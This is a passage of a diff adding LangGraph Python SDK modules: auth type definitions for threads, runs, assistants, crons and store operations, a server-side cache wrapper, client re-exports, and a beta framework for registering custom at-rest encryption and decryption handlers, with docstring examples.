"my-secret-key" + @auth.authenticate + async def get_current_user(request: Request) -> Auth.types.MinimalUserDict: + try: + token = (request.headers.get("authorization") or "").split(" ", 1)[1] + payload = jwt.decode(token, MY_SECRET, algorithms=["HS256"]) + except (IndexError, InvalidTokenError): + raise HTTPException( + status_code=401, + detail="Invalid token", + headers={"WWW-Authenticate": "Bearer"}, + ) + + async with httpx.AsyncClient() as client: + response = await client.get( + f"https://api.myauth-provider.com/auth/v1/user", + headers={"Authorization": f"Bearer {MY_SECRET}"} + ) + if response.status_code != 200: + raise HTTPException(status_code=401, detail="User not found") + + user_data = response.json() + return { + "identity": user_data["id"], + "display_name": user_data.get("name"), + "permissions": user_data.get("permissions", []), + "is_authenticated": True, + } + ``` +""" + + +@dataclass(slots=True) +class BaseAuthContext: + """Base class for authentication context. + + Provides the fundamental authentication information needed for + authorization decisions. + """ + + permissions: Sequence[str] + """The permissions granted to the authenticated user.""" + + user: BaseUser + """The authenticated user.""" + + +@typing.final +@dataclass(slots=True) +class AuthContext(BaseAuthContext): + """Complete authentication context with resource and action information. + + Extends BaseAuthContext with specific resource and action being accessed, + allowing for fine-grained access control decisions. + """ + + resource: typing.Literal["runs", "threads", "crons", "assistants", "store"] + """The resource being accessed.""" + + action: typing.Literal[ + "create", + "read", + "update", + "delete", + "search", + "create_run", + "put", + "get", + "list_namespaces", + ] + """The action being performed on the resource. + + Most resources support the following actions: + - create: Create a new resource + - read: Read information about a resource + - update: Update an existing resource + - delete: Delete a resource + - search: Search for resources + + The store supports the following actions: + - put: Add or update an item in the store + - get: Get an item from the store + - search: Search for items within a namespace prefix + - delete: Delete an item from the store + - list_namespaces: List the namespaces in the store + """ + + +class ThreadTTL(typing.TypedDict, total=False): + """Time-to-live configuration for a thread. + + Matches the OpenAPI schema where TTL is represented as an object with + an optional strategy and a time value in minutes. + """ + + strategy: typing.Literal["delete"] + """TTL strategy. Currently only 'delete' is supported.""" + + ttl: int + """Time-to-live in minutes from now until the thread should be swept.""" + + +class ThreadsCreate(typing.TypedDict, total=False): + """Parameters for creating a new thread. + + ???+ example "Examples" + + ```python + create_params = { + "thread_id": UUID("123e4567-e89b-12d3-a456-426614174000"), + "metadata": {"owner": "user123"}, + "if_exists": "do_nothing" + } + ``` + """ + + thread_id: UUID + """Unique identifier for the thread.""" + + metadata: MetadataInput + """typing.Optional metadata to attach to the thread.""" + + if_exists: OnConflictBehavior + """Behavior when a thread with the same ID already exists.""" + + ttl: ThreadTTL + """Optional TTL configuration for the thread.""" + + +class ThreadsRead(typing.TypedDict, total=False): + """Parameters for reading thread state or run information. + + This type is used in three contexts: + 1. Reading thread, thread version, or thread state information: Only thread_id is provided + 2. Reading run information: Both thread_id and run_id are provided + """ + + thread_id: UUID + """Unique identifier for the thread.""" + + run_id: UUID | None + """Run ID to filter by. Only used when reading run information within a thread.""" + + +class ThreadsUpdate(typing.TypedDict, total=False): + """Parameters for updating a thread or run. + + Called for updates to a thread, thread version, or run + cancellation. + """ + + thread_id: UUID + """Unique identifier for the thread.""" + + metadata: MetadataInput + """typing.Optional metadata to update.""" + + action: typing.Literal["interrupt", "rollback"] | None + """typing.Optional action to perform on the thread.""" + + +class ThreadsDelete(typing.TypedDict, total=False): + """Parameters for deleting a thread. + + Called for deletes to a thread, thread version, or run + """ + + thread_id: UUID + """Unique identifier for the thread.""" + + run_id: UUID | None + """typing.Optional run ID to filter by.""" + + +class ThreadsSearch(typing.TypedDict, total=False): + """Parameters for searching threads. + + Called for searches to threads or runs. + """ + + metadata: MetadataInput + """typing.Optional metadata to filter by.""" + + values: MetadataInput + """typing.Optional values to filter by.""" + + status: ThreadStatus | None + """typing.Optional status to filter by.""" + + limit: int + """Maximum number of results to return.""" + + offset: int + """Offset for pagination.""" + + ids: Sequence[UUID] | None + """typing.Optional list of thread IDs to filter by.""" + + thread_id: UUID | None + """typing.Optional thread ID to filter by.""" + + +class RunsCreate(typing.TypedDict, total=False): + """Payload for creating a run. + + ???+ example "Examples" + + ```python + create_params = { + "assistant_id": UUID("123e4567-e89b-12d3-a456-426614174000"), + "thread_id": UUID("123e4567-e89b-12d3-a456-426614174001"), + "run_id": UUID("123e4567-e89b-12d3-a456-426614174002"), + "status": "pending", + "metadata": {"owner": "user123"}, + "prevent_insert_if_inflight": True, + "multitask_strategy": "reject", + "if_not_exists": "create", + "after_seconds": 10, + "kwargs": {"key": "value"}, + "action": "interrupt" + } + ``` + """ + + assistant_id: UUID | None + """typing.Optional assistant ID to use for this run.""" + + thread_id: UUID | None + """typing.Optional thread ID to use for this run.""" + + run_id: UUID | None + """typing.Optional run ID to use for this run.""" + + status: RunStatus | None + """typing.Optional status for this run.""" + + metadata: MetadataInput + """typing.Optional metadata for the run.""" + + prevent_insert_if_inflight: bool + """Prevent inserting a new run if one is already in flight.""" + + multitask_strategy: MultitaskStrategy + """Multitask strategy for this run.""" + + if_not_exists: IfNotExists + """IfNotExists for this run.""" + + after_seconds: int + """Number of seconds to wait before creating the run.""" + + kwargs: dict[str, typing.Any] + """Keyword arguments to pass to the run.""" + + action: typing.Literal["interrupt", "rollback"] | None + """Action to take if updating an existing run.""" + + +class AssistantsCreate(typing.TypedDict, total=False): + """Payload for creating an assistant. + + ???+ example "Examples" + + ```python + create_params = { + "assistant_id": UUID("123e4567-e89b-12d3-a456-426614174000"), + "graph_id": "graph123", + "config": {"tags": ["tag1", "tag2"]}, + "context": {"key": "value"}, + "metadata": {"owner": "user123"}, + "if_exists": "do_nothing", + "name": "Assistant 1" + } + ``` + """ + + assistant_id: UUID + """Unique identifier for the assistant.""" + + graph_id: str + """Graph ID to use for this assistant.""" + + config: dict[str, typing.Any] + """typing.Optional configuration for the assistant.""" + + context: dict[str, typing.Any] + + metadata: MetadataInput + """typing.Optional metadata to attach to the assistant.""" + + if_exists: OnConflictBehavior + """Behavior when an assistant with the same ID already exists.""" + + name: str + """Name of the assistant.""" + + +class AssistantsRead(typing.TypedDict, total=False): + """Payload for reading an assistant. + + ???+ example "Examples" + + ```python + read_params = { + "assistant_id": UUID("123e4567-e89b-12d3-a456-426614174000"), + "metadata": {"owner": "user123"} + } + ``` + """ + + assistant_id: UUID + """Unique identifier for the assistant.""" + + metadata: MetadataInput + """typing.Optional metadata to filter by.""" + + +class AssistantsUpdate(typing.TypedDict, total=False): + """Payload for updating an assistant. + + ???+ example "Examples" + + ```python + update_params = { + "assistant_id": UUID("123e4567-e89b-12d3-a456-426614174000"), + "graph_id": "graph123", + "config": {"tags": ["tag1", "tag2"]}, + "context": {"key": "value"}, + "metadata": {"owner": "user123"}, + "name": "Assistant 1", + "version": 1 + } + ``` + """ + + assistant_id: UUID + """Unique identifier for the assistant.""" + + graph_id: str | None + """typing.Optional graph ID to update.""" + + config: dict[str, typing.Any] + """typing.Optional configuration to update.""" + + context: dict[str, typing.Any] + """The static context of the assistant.""" + + metadata: MetadataInput + """typing.Optional metadata to update.""" + + name: str | None + """typing.Optional name to update.""" + + version: int | None + """typing.Optional version to update.""" + + +class AssistantsDelete(typing.TypedDict): + """Payload for deleting an assistant. + + ???+ example "Examples" + + ```python + delete_params = { + "assistant_id": UUID("123e4567-e89b-12d3-a456-426614174000") + } + ``` + """ + + assistant_id: UUID + """Unique identifier for the assistant.""" + + +class AssistantsSearch(typing.TypedDict): + """Payload for searching assistants. + + ???+ example "Examples" + + ```python + search_params = { + "graph_id": "graph123", + "metadata": {"owner": "user123"}, + "limit": 10, + "offset": 0 + } + ``` + """ + + graph_id: str | None + """typing.Optional graph ID to filter by.""" + + metadata: MetadataInput + """typing.Optional metadata to filter by.""" + + limit: int + """Maximum number of results to return.""" + + offset: int + """Offset for pagination.""" + + +class CronsCreate(typing.TypedDict, total=False): + """Payload for creating a cron job. + + ???+ example "Examples" + + ```python + create_params = { + "payload": {"key": "value"}, + "schedule": "0 0 * * *", + "cron_id": UUID("123e4567-e89b-12d3-a456-426614174000"), + "thread_id": UUID("123e4567-e89b-12d3-a456-426614174001"), + "user_id": "user123", + "end_time": datetime(2024, 3, 16, 10, 0, 0) + } + ``` + """ + + payload: dict[str, typing.Any] + """Payload for the cron job.""" + + schedule: str + """Schedule for the cron job.""" + + cron_id: UUID | None + """typing.Optional unique identifier for the cron job.""" + + thread_id: UUID | None + """typing.Optional thread ID to use for this cron job.""" + + user_id: str | None + """typing.Optional user ID to use for this cron job.""" + + end_time: datetime | None + """typing.Optional end time for the cron job.""" + + +class CronsDelete(typing.TypedDict): + """Payload for deleting a cron job. + + ???+ example "Examples" + + ```python + delete_params = { + "cron_id": UUID("123e4567-e89b-12d3-a456-426614174000") + } + ``` + """ + + cron_id: UUID + """Unique identifier for the cron job.""" + + +class CronsRead(typing.TypedDict): + """Payload for reading a cron job. + + ???+ example "Examples" + + ```python + read_params = { + "cron_id": UUID("123e4567-e89b-12d3-a456-426614174000") + } + ``` + """ + + cron_id: UUID + """Unique identifier for the cron job.""" + + +class CronsUpdate(typing.TypedDict, total=False): + """Payload for updating a cron job. + + ???+ example "Examples" + + ```python + update_params = { + "cron_id": UUID("123e4567-e89b-12d3-a456-426614174000"), + "payload": {"key": "value"}, + "schedule": "0 0 * * *" + } + ``` + """ + + cron_id: UUID + """Unique identifier for the cron job.""" + + payload: dict[str, typing.Any] | None + """typing.Optional payload to update.""" + + schedule: str | None + """typing.Optional schedule to update.""" + + +class CronsSearch(typing.TypedDict, total=False): + """Payload for searching cron jobs. + + ???+ example "Examples" + + ```python + search_params = { + "assistant_id": UUID("123e4567-e89b-12d3-a456-426614174000"), + "thread_id": UUID("123e4567-e89b-12d3-a456-426614174001"), + "limit": 10, + "offset": 0 + } + ``` + """ + + assistant_id: UUID | None + """typing.Optional assistant ID to filter by.""" + + thread_id: UUID | None + """typing.Optional thread ID to filter by.""" + + limit: int + """Maximum number of results to return.""" + + offset: int + """Offset for pagination.""" + + +class StoreGet(typing.TypedDict): + """Operation to retrieve a specific item by its namespace and key. + + This dict is mutable — auth handlers can modify `namespace` to enforce + access scoping (e.g., prepending the user's identity). + """ + + namespace: tuple[str, ...] + """Hierarchical path that uniquely identifies the item's location. + + Auth handlers can modify this to enforce per-user scoping. + """ + + key: str + """Unique identifier for the item within its specific namespace.""" + + +class StoreSearch(typing.TypedDict): + """Operation to search for items within a specified namespace hierarchy. + + This dict is mutable — auth handlers can modify `namespace` to enforce + access scoping (e.g., prepending the user's identity). + """ + + namespace: tuple[str, ...] + """Prefix filter for defining the search scope. + + Auth handlers can modify this to enforce per-user scoping. + """ + + filter: dict[str, typing.Any] | None + """Key-value pairs for filtering results based on exact matches or comparison operators.""" + + limit: int + """Maximum number of items to return in the search results.""" + + offset: int + """Number of matching items to skip for pagination.""" + + query: str | None + """Natural language search query for semantic search capabilities.""" + + +class StoreListNamespaces(typing.TypedDict): + """Operation to list and filter namespaces in the store. + + This dict is mutable — auth handlers can modify `namespace` (the prefix) + to enforce access scoping (e.g., prepending the user's identity). + """ + + namespace: tuple[str, ...] | None + """Prefix filter for namespaces. Can be `None` if no prefix was provided. + + Auth handlers can modify this to enforce per-user scoping. When `None`, + handlers should set it to `(user_id,)` to scope listing to the user's namespaces. + """ + + suffix: tuple[str, ...] | None + """Optional conditions for filtering namespaces.""" + + max_depth: int | None + """Maximum depth of namespace hierarchy to return. + + Note: + Namespaces deeper than this level will be truncated. + """ + + limit: int + """Maximum number of namespaces to return.""" + + offset: int + """Number of namespaces to skip for pagination.""" + + +class StorePut(typing.TypedDict): + """Operation to store, update, or delete an item in the store. + + This dict is mutable — auth handlers can modify `namespace` to enforce + access scoping (e.g., prepending the user's identity). + """ + + namespace: tuple[str, ...] + """Hierarchical path that identifies the location of the item. + + Auth handlers can modify this to enforce per-user scoping. + """ + + key: str + """Unique identifier for the item within its namespace.""" + + value: dict[str, typing.Any] | None + """The data to store, or `None` to mark the item for deletion.""" + + index: typing.Literal[False] | list[str] | None + """Optional index configuration for full-text search.""" + + +class StoreDelete(typing.TypedDict): + """Operation to delete an item from the store. + + This dict is mutable — auth handlers can modify `namespace` to enforce + access scoping (e.g., prepending the user's identity). + """ + + namespace: tuple[str, ...] + """Hierarchical path that uniquely identifies the item's location. + + Auth handlers can modify this to enforce per-user scoping. + """ + + key: str + """Unique identifier for the item within its specific namespace.""" + + +class on: + """Namespace for type definitions of different API operations. + + This class organizes type definitions for create, read, update, delete, + and search operations across different resources (threads, assistants, crons). + + ???+ note "Usage" + Start by denying all requests by default, then add handlers to allow access: + + ```python + from langgraph_sdk import Auth + + auth = Auth() + + # Default deny: reject all requests without a specific handler + @auth.on + async def deny_all(ctx: Auth.types.AuthContext, value: Auth.on.value): + return False + + # Allow thread creation, stamping the owner + @auth.on.threads.create + async def allow_thread_create(ctx: Auth.types.AuthContext, value: Auth.on.threads.create.value): + value.setdefault("metadata", {})["owner"] = ctx.user.identity + + # Allow assistant search, scoped to user's resources + @auth.on.assistants.search + async def allow_assistant_search(ctx: Auth.types.AuthContext, value: Auth.on.assistants.search.value): + return {"owner": ctx.user.identity} + ``` + """ + + value = dict[str, typing.Any] + + class threads: + """Types for thread-related operations.""" + + value = ( + ThreadsCreate | ThreadsRead | ThreadsUpdate | ThreadsDelete | ThreadsSearch + ) + + class create: + """Type for thread creation parameters.""" + + value = ThreadsCreate + + class create_run: + """Type for creating or streaming a run.""" + + value = RunsCreate + + class read: + """Type for thread read parameters.""" + + value = ThreadsRead + + class update: + """Type for thread update parameters.""" + + value = ThreadsUpdate + + class delete: + """Type for thread deletion parameters.""" + + value = ThreadsDelete + + class search: + """Type for thread search parameters.""" + + value = ThreadsSearch + + class assistants: + """Types for assistant-related operations.""" + + value = ( + AssistantsCreate + | AssistantsRead + | AssistantsUpdate + | AssistantsDelete + | AssistantsSearch + ) + + class create: + """Type for assistant creation parameters.""" + + value = AssistantsCreate + + class read: + """Type for assistant read parameters.""" + + value = AssistantsRead + + class update: + """Type for assistant update parameters.""" + + value = AssistantsUpdate + + class delete: + """Type for assistant deletion parameters.""" + + value = AssistantsDelete + + class search: + """Type for assistant search parameters.""" + + value = AssistantsSearch + + class crons: + """Types for cron-related operations.""" + + value = CronsCreate | CronsRead | CronsUpdate | CronsDelete | CronsSearch + + class create: + """Type for cron creation parameters.""" + + value = CronsCreate + + class read: + """Type for cron read parameters.""" + + value = CronsRead + + class update: + """Type for cron update parameters.""" + + value = CronsUpdate + + class delete: + """Type for cron deletion parameters.""" + + value = CronsDelete + + class search: + """Type for cron search parameters.""" + + value = CronsSearch + + class store: + """Types for store-related operations.""" + + value = StoreGet | StoreSearch | StoreListNamespaces | StorePut | StoreDelete + + class put: + """Type for store put parameters.""" + + value = StorePut + + class get: + """Type for store get parameters.""" + + value = StoreGet + + class search: + """Type for store search parameters.""" + + value = StoreSearch + + class delete: + """Type for store delete parameters.""" + + value = StoreDelete + + class list_namespaces: + """Type for store list namespaces parameters.""" + + value = StoreListNamespaces + + +__all__ = [ + "AssistantsCreate", + "AssistantsDelete", + "AssistantsRead", + "AssistantsSearch", + "AssistantsUpdate", + "MetadataInput", + "RunsCreate", + "StoreDelete", + "StoreGet", + "StoreListNamespaces", + "StorePut", + "StoreSearch", + "ThreadsCreate", + "ThreadsDelete", + "ThreadsRead", + "ThreadsSearch", + "ThreadsUpdate", + "on", +] diff --git a/libs/sdk-py/langgraph_sdk/cache.py b/libs/sdk-py/langgraph_sdk/cache.py new file mode 100644 index 0000000..9b15dbe --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/cache.py @@ -0,0 +1,143 @@ +"""Key/value cache for use inside LangGraph deployments. + +Thin wrapper around ``langgraph_api.cache``. +Values must be JSON-serializable (dicts, lists, strings, numbers, booleans, +``None``). +""" + +from __future__ import annotations + +from collections.abc import Awaitable, Callable +from datetime import timedelta +from typing import Any, Generic, Literal, TypeVar + +T = TypeVar("T") + +CacheStatus = Literal["miss", "fresh", "stale", "expired"] + +try: + from langgraph_api.cache import ( # ty: ignore[unresolved-import] + cache_get as _cache_get, + ) + from langgraph_api.cache import ( # ty: ignore[unresolved-import] + cache_set as _cache_set, + ) +except ImportError: + _cache_get = None + _cache_set = None + + +try: + from langgraph_api.cache import SWRResult # ty: ignore[unresolved-import] + from langgraph_api.cache import swr as _api_swr # ty: ignore[unresolved-import] + +except ImportError: + _api_swr = None + + class SWRResult(Generic[T]): + """Result wrapper returned by :func:`swr`.""" + + value: T + status: CacheStatus + + async def mutate( + self, + value: T = ..., # ty: ignore[invalid-parameter-default] + ) -> T: # ty: ignore[empty-body] + """Update or revalidate the cached value.""" + ... + + +__all__ = [ + "SWRResult", + "cache_get", + "cache_set", + "swr", +] + + +async def cache_get(key: str) -> Any | None: + """Get a value from the cache. + + Returns the deserialized value, or ``None`` if the key is missing or expired. + + Requires Agent Server runtime version 0.7.29 or later. + """ + if _cache_get is None: + raise RuntimeError( + "Cache is only available server-side within the LangGraph Agent Server " + "(https://docs.langchain.com/langsmith/deployments)." + ) + return await _cache_get(key) + + +async def cache_set(key: str, value: Any, *, ttl: timedelta | None = None) -> None: + """Set a value in the cache. + + Args: + key: The cache key. + value: The value to cache (must be JSON-serializable). + ttl: Optional time-to-live. Capped at 1 day; ``None`` or zero + defaults to 1 day. + + Requires Agent Server runtime version 0.7.29 or later. + """ + if _cache_set is None: + raise RuntimeError( + "Cache is only available server-side within the LangGraph Agent Server " + "(https://docs.langchain.com/langsmith/deployments)." + ) + await _cache_set(key, value, ttl) + + +async def swr( + key: str, + loader: Callable[[], Awaitable[T]], + *, + fresh_for: timedelta | None = None, + max_age: timedelta | None = None, + model: type[T] | None = None, +) -> SWRResult[T]: + """Load a cached value using stale-while-revalidate semantics. + + This helper is server-side only and is intended for caching internal async + dependencies such as auth or metadata lookups. + + Args: + key: Cache key. + loader: Async callable that fetches the value on miss/revalidation. + fresh_for: How long a cached value is considered fresh (no revalidation). + Defaults to ``timedelta(0)`` so every access triggers a background + revalidate while still returning the cached value instantly. Values + above :data:`MAX_CACHE_TTL` are clamped to the backend maximum. + max_age: Total lifetime of a cached entry. After this, the next access + blocks on the loader. Defaults to :data:`MAX_CACHE_TTL` (24 h by + default). Values above :data:`MAX_CACHE_TTL` are clamped to the + backend maximum. + model: Optional Pydantic model class. When provided, values are + serialized via ``model_dump(mode="json")`` before storage and + deserialized via ``model.model_validate()`` on read. + + Returns: + An :class:`SWRResult` with ``.value``, ``.status``, and an async + ``.mutate()`` method. + + Semantics: + - cache miss: await ``loader()``, store the value, return it + - fresh hit (age < fresh_for): return the cached value + - stale hit (fresh_for <= age < max_age): return the cached value + immediately and trigger a best-effort background refresh + - expired (age >= max_age): await ``loader()``, store the value, return it + """ + if _api_swr is None: + raise RuntimeError( + "Cache is only available server-side within the LangGraph Agent Server " + "(https://docs.langchain.com/langsmith/deployments)." + ) + if fresh_for is None: + fresh_for = timedelta(0) + if max_age is None: + max_age = timedelta(days=1) + return await _api_swr( + key, loader, fresh_for=fresh_for, max_age=max_age, model=model + ) diff --git a/libs/sdk-py/langgraph_sdk/client.py b/libs/sdk-py/langgraph_sdk/client.py new file mode 100644 index 0000000..f9ce571 --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/client.py @@ -0,0 +1,55 @@ +"""The LangGraph client implementations connect to the LangGraph API. + +This module provides both asynchronous (`get_client(url="http://localhost:2024")` or +`LangGraphClient`) and synchronous (`get_sync_client(url="http://localhost:2024")` or +`SyncLanggraphClient`) clients to interacting with the LangGraph API's core resources +such as Assistants, Threads, Runs, and Cron jobs, as well as its persistent document +Store. +""" + +from __future__ import annotations + +from langgraph_sdk._async.assistants import AssistantsClient + +# Re-export factory functions +# Re-export async clients +from langgraph_sdk._async.client import LangGraphClient, get_client +from langgraph_sdk._async.cron import CronClient +from langgraph_sdk._async.http import HttpClient, _adecode_json, _aencode_json +from langgraph_sdk._async.runs import RunsClient +from langgraph_sdk._async.store import StoreClient +from langgraph_sdk._async.threads import ThreadsClient +from langgraph_sdk._shared.utilities import configure_loopback_transports +from langgraph_sdk._sync.assistants import SyncAssistantsClient + +# Re-export sync clients +from langgraph_sdk._sync.client import SyncLangGraphClient, get_sync_client +from langgraph_sdk._sync.cron import SyncCronClient +from langgraph_sdk._sync.http import SyncHttpClient, _decode_json, _encode_json +from langgraph_sdk._sync.runs import SyncRunsClient +from langgraph_sdk._sync.store import SyncStoreClient +from langgraph_sdk._sync.threads import SyncThreadsClient + +__all__ = [ + "AssistantsClient", + "CronClient", + "HttpClient", + "LangGraphClient", + "RunsClient", + "StoreClient", + "SyncAssistantsClient", + "SyncCronClient", + "SyncHttpClient", + "SyncLangGraphClient", + "SyncRunsClient", + "SyncStoreClient", + "SyncThreadsClient", + "ThreadsClient", + "_adecode_json", + "_aencode_json", + "_decode_json", + "_encode_json", + "configure_loopback_transports", + "get_client", + "get_sync_client", +] diff --git a/libs/sdk-py/langgraph_sdk/encryption/__init__.py b/libs/sdk-py/langgraph_sdk/encryption/__init__.py new file mode 100644 index 0000000..79611de --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/encryption/__init__.py @@ -0,0 +1,466 @@ +"""Custom encryption support for LangGraph. + +.. warning:: + This API is in beta and may change in future versions. + +This module provides a framework for implementing custom at-rest encryption +in LangGraph applications. Similar to the Auth system, it allows developers +to define custom encryption and decryption handlers that are executed +server-side. +""" + +from __future__ import annotations + +import functools +import inspect +import typing +import warnings + +from langgraph_sdk.encryption import types + + +class LangGraphBetaWarning(UserWarning): + """Warning for beta features in LangGraph SDK.""" + + +@functools.lru_cache(maxsize=1) +def _warn_encryption_beta() -> None: + warnings.warn( + "The Encryption API is in beta and may change in future versions.", + LangGraphBetaWarning, + stacklevel=4, + ) + + +class DuplicateHandlerError(Exception): + """Raised when attempting to register a duplicate encryption/decryption handler.""" + + pass + + +def _validate_handler(fn: typing.Callable, handler_type: str) -> None: + """Validate that a handler function has the correct signature. + + Args: + fn: The handler function to validate + handler_type: Description of the handler for error messages + + Raises: + TypeError: If the handler is not an async function or has wrong parameter count + """ + if not inspect.iscoroutinefunction(fn): + raise TypeError(f"{handler_type} must be an async function, got {type(fn)}") + + sig = inspect.signature(fn) + params = [ + p + for p in sig.parameters.values() + if p.kind in (p.POSITIONAL_ONLY, p.POSITIONAL_OR_KEYWORD) + ] + if len(params) != 2: + raise TypeError( + f"{handler_type} must accept exactly 2 parameters " + f"(ctx, data), got {len(params)}" + ) + + +class _EncryptDecorators: + """Decorators for encryption handlers. + + Provides @encryption.encrypt.blob and @encryption.encrypt.json decorators for + registering encryption functions. + """ + + def __init__(self, parent: Encryption): + self._parent = parent + + def blob(self, fn: types.BlobEncryptor) -> types.BlobEncryptor: + """Register a blob encryption handler. + + The handler will be called to encrypt opaque data like checkpoint blobs. + + Example: + ```python + @encryption.encrypt.blob + async def encrypt_blob(ctx: EncryptionContext, blob: bytes) -> bytes: + # Encrypt the blob using your encryption service + return encrypted_blob + ``` + + Args: + fn: The encryption handler function + + Returns: + The registered handler function + + Raises: + DuplicateHandlerError: If blob encryptor already registered + TypeError: If handler has invalid signature + """ + if self._parent._blob_encryptor is not None: + raise DuplicateHandlerError("Blob encryptor already registered") + _validate_handler(fn, "Blob encryptor") + self._parent._blob_encryptor = fn + return fn + + def json(self, fn: types.JsonEncryptor) -> types.JsonEncryptor: + """Register the JSON encryption handler. + + Example: + ```python + @encryption.encrypt.json + async def encrypt_json(ctx: EncryptionContext, data: dict) -> dict: + # Encrypt the data + return encrypt_data(data) + ``` + + Args: + fn: The encryption handler function + + Returns: + The registered handler function + + Raises: + DuplicateHandlerError: If JSON encryptor already registered + TypeError: If handler has invalid signature + """ + if self._parent._json_encryptor is not None: + raise DuplicateHandlerError("JSON encryptor already registered") + _validate_handler(fn, "JSON encryptor") + self._parent._json_encryptor = fn + return fn + + +class _DecryptDecorators: + """Decorators for decryption handlers. + + Provides @encryption.decrypt.blob and @encryption.decrypt.json decorators for + registering decryption functions. + """ + + def __init__(self, parent: Encryption): + self._parent = parent + + def blob(self, fn: types.BlobDecryptor) -> types.BlobDecryptor: + """Register a blob decryption handler. + + The handler will be called to decrypt opaque data like checkpoint blobs. + + Example: + ```python + @encryption.decrypt.blob + async def decrypt_blob(ctx: EncryptionContext, blob: bytes) -> bytes: + # Decrypt the blob using your encryption service + return decrypted_blob + ``` + + Args: + fn: The decryption handler function + + Returns: + The registered handler function + + Raises: + DuplicateHandlerError: If blob decryptor already registered + TypeError: If handler has invalid signature + """ + if self._parent._blob_decryptor is not None: + raise DuplicateHandlerError("Blob decryptor already registered") + _validate_handler(fn, "Blob decryptor") + self._parent._blob_decryptor = fn + return fn + + def json(self, fn: types.JsonDecryptor) -> types.JsonDecryptor: + """Register the JSON decryption handler. + + Example: + ```python + @encryption.decrypt.json + async def decrypt_json(ctx: EncryptionContext, data: dict) -> dict: + # Decrypt the data + return decrypt_data(data) + ``` + + Args: + fn: The decryption handler function + + Returns: + The registered handler function + + Raises: + DuplicateHandlerError: If JSON decryptor already registered + TypeError: If handler has invalid signature + """ + if self._parent._json_decryptor is not None: + raise DuplicateHandlerError("JSON decryptor already registered") + _validate_handler(fn, "JSON decryptor") + self._parent._json_decryptor = fn + return fn + + +class Encryption: + """Add custom at-rest encryption to your LangGraph application. + + .. warning:: + This API is in beta and may change in future versions. + + The Encryption class provides a system for implementing custom encryption + of data at rest in LangGraph applications. It supports encryption of + both opaque blobs (like checkpoints) and structured JSON data (like + metadata, context, kwargs, values, etc.). + + To use, create a separate Python file and add the path to the file to your + LangGraph API configuration file (`langgraph.json`). Within that file, create + an instance of the Encryption class and register encryption and decryption + handlers as needed. + + Example `langgraph.json` file: + + ```json + { + "dependencies": ["."], + "graphs": { + "agent": "./my_agent/agent.py:graph" + }, + "env": ".env", + "encryption": { + "path": "./encryption.py:my_encryption" + } + } + ``` + + Then the LangGraph server will load your encryption file and use it to + encrypt/decrypt data at rest. + + !!! warning "JSON Encryptors Must Preserve Keys" + + JSON encryptors **must not add or remove keys** from the input dict. + Only values may be transformed. This constraint is **enforced at runtime + by the server** and exists because SQL JSONB merge operations (used for + partial updates) work at the key level. + + **Correct (per-key encryption):** + ```python + # Input: {"secret": "value", "plain": "x"} + # Output: {"secret": "", "plain": "x"} ✓ Keys preserved + ``` + + **Incorrect (key consolidation):** + ```python + # Input: {"secret": "value", "plain": "x"} + # Output: {"__encrypted__": "", "plain": "x"} ✗ Key changed + ``` + + If your encryptor needs to store auxiliary data (DEK, IV, etc.), embed it + within the encrypted value itself, not as separate keys. + + ???+ example "Basic Usage" + + ```python + from langgraph_sdk import Encryption, EncryptionContext + + my_encryption = Encryption() + + SKIP_FIELDS = {"tenant_id", "owner", "thread_id", "assistant_id"} + ENCRYPTED_PREFIX = "encrypted:" + + @my_encryption.encrypt.blob + async def encrypt_blob(ctx: EncryptionContext, blob: bytes) -> bytes: + return your_encrypt_bytes(blob) + + @my_encryption.decrypt.blob + async def decrypt_blob(ctx: EncryptionContext, blob: bytes) -> bytes: + return your_decrypt_bytes(blob) + + @my_encryption.encrypt.json + async def encrypt_json(ctx: EncryptionContext, data: dict) -> dict: + result = {} + for k, v in data.items(): + if k in SKIP_FIELDS or v is None: + result[k] = v + else: + result[k] = ENCRYPTED_PREFIX + your_encrypt_string(v) + return result + + @my_encryption.decrypt.json + async def decrypt_json(ctx: EncryptionContext, data: dict) -> dict: + result = {} + for k, v in data.items(): + if isinstance(v, str) and v.startswith(ENCRYPTED_PREFIX): + result[k] = your_decrypt_string(v[len(ENCRYPTED_PREFIX):]) + else: + result[k] = v + return result + ``` + + ???+ example "Field-Specific Logic" + + The `ctx.model` and `ctx.field` attributes tell you which model type and + specific field is being encrypted, allowing different logic: + + ```python + @my_encryption.encrypt.json + async def encrypt_json(ctx: EncryptionContext, data: dict) -> dict: + if ctx.field == "metadata": + # Metadata - standard encryption + return encrypt_standard(data) + elif ctx.field == "values": + # Thread values - more sensitive, use stronger encryption + return encrypt_sensitive(data) + else: + return encrypt_standard(data) + ``` + + !!! warning "Model/Field May Differ Between Encrypt and Decrypt" + + Data encrypted with one `(model, field)` pair is **not guaranteed** + to be decrypted with the same pair. The server performs SQL JSONB + merges that can move encrypted values between models (e.g., cron + metadata → run metadata). Your decryption logic must handle data + regardless of the `ctx.model` or `ctx.field` values at decrypt time. + + **Safe:** Use `ctx.model`/`ctx.field` for logging or metrics only. + + **Safe:** Encrypt different keys based on `ctx.field`, but use a + single decrypt handler that decrypts any value with the encrypted + prefix (and passes through plaintext unchanged): + + ```python + ENCRYPTED_PREFIX = "enc:" + + @my_encryption.encrypt.json + async def encrypt_json(ctx: EncryptionContext, data: dict) -> dict: + # Encrypt different keys depending on the field + if ctx.field == "context": + keys_to_encrypt = {"api_key", "secret_token"} + else: + keys_to_encrypt = {"email", "ssn"} + return { + k: ENCRYPTED_PREFIX + encrypt(v) if k in keys_to_encrypt else v + for k, v in data.items() + } + + @my_encryption.decrypt.json + async def decrypt_json(ctx: EncryptionContext, data: dict) -> dict: + # Decrypt ANY value with the prefix, regardless of model/field + return { + k: decrypt(v[len(ENCRYPTED_PREFIX):]) + if isinstance(v, str) and v.startswith(ENCRYPTED_PREFIX) + else v + for k, v in data.items() + } + ``` + + **Unsafe:** Using different encryption keys or algorithms based on + `ctx.model`/`ctx.field` will cause decryption failures. + """ + + __slots__ = ( + "_blob_decryptor", + "_blob_encryptor", + "_context_handler", + "_json_decryptor", + "_json_encryptor", + "decrypt", + "encrypt", + ) + + types = types + """Reference to encryption type definitions. + + Provides access to all type definitions used in the encryption system, + including EncryptionContext, BlobEncryptor, BlobDecryptor, + JsonEncryptor, and JsonDecryptor. + """ + + def __init__(self) -> None: + """Initialize the Encryption instance.""" + _warn_encryption_beta() + self.encrypt = _EncryptDecorators(self) + self.decrypt = _DecryptDecorators(self) + self._blob_encryptor: 